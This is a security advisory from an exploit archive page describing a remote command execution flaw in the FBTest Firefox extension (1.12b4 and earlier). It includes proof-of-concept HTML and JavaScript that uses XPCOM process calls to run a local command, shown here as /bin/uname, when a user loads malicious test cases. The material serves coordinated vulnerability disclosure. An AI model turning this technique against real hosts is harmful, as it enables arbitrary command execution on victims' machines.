what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Firefox FBTest 1.12b4 Command Execution

Firefox FBTest 1.12b4 Command Execution
Posted Dec 3, 2013
Authored by AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b

Firefox FBTest extension suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | 1c3ce5379be7d4d5b47e624d71819b09a76e4463743b000eac286bbe3b6b8d30

Firefox FBTest 1.12b4 Command Execution

Change Mirror Download
General info:
=============
The Firefox extension FBTest (http://getfirebug.com/wiki/index.php/FBTest) version =< 1.12b4 allows RCE on a host running tests.
This was only tested on Linux. If the user running FBTest would point extension to the URL containing malicious test cases (intentionally or by being lurked),
then JavaScript code can freely call Mozilla components using XPCOM framework. Some may say it's a feature and this is how extensions generally work. OK, cool.

Important notice:
=================
1) It should be crystal clear the FBTest is not part of Firebug.
2) It should be clear that FBTest is not distributed with Firebug.
3) It should be clear Firebug users are not affected in any way by any bugs in FBTest.
4) FBTest is just a helper extension primarily used by Firebug Working Group for testing Firebug.

Thanks to Firebug team and especially to Jan (Honza) Odvarko for help in coordinated disclosure of this advisory.

Running PoC:
============
-- cut --
[New Thread 0xe36ffb70 (LWP 22040)]
[New Thread 0xe2efeb70 (LWP 22041)]
[New Thread 0xe26fdb70 (LWP 22042)]
Linux box 3.2.6 #1 SMP Wed Feb 6 01:19:11 GMT 2013 x86_64 GNU/Linux
[Thread 0xed82db70 (LWP 22027) exited]
[Thread 0xe54ffb70 (LWP 22038) exited]
[Thread 0xeb4ffb70 (LWP 22030) exited]
-- cut --

FBTest stub:
============
-- cut
<!DOCTYPE html>
<html>
<head>
<!-- XXX: point these to https://getfirebug.com/tests/head/firebug.html -->
<link rel="stylesheet" href="./testConsole.css" type="text/css"/>
<link rel="stylesheet" href="./testList.css" type="text/css"/>
<link rel="stylesheet" href="./testResult.css" type="text/css"/>
<link rel="stylesheet" href="./tabView.css" type="text/css"/>
<script type="text/javascript" src="./testListUtils.js"></script>
</head>

<body>
<script type="text/javascript">
var driverBaseURI = getDriverBaseURI();
var serverURI = driverBaseURI;

var testList = [
{group: "foo", uri: "poc.js", desc: "bar" },
]
</script>
<div id="tests"></div>

</body>
</html>
-- cut

RCE testcase:
=============
-- cut
function runTest() {
try {
main();
FBTest.clearCache();
}
catch (err) {
FBTest.exception("Exception occured: ", err);
}
finally {
FBTest.testDone();
}
}

function main()
{
try { cmd(); FBTest.clearCache(); } catch (e) { ; }
}

function cmd() {
try {
var f = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
} catch (e) { alert(e); }

f.initWithPath("/bin/uname");
var p = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
p.init(f);

const args = ["-a"];
p.run(true, args, args.length);
}
-- cut

Credits:
========
AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b

____________________________________________________________
FREE 3D EARTH SCREENSAVER - Watch the Earth right on your desktop!
Check it out at http://www.inbox.com/earth



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close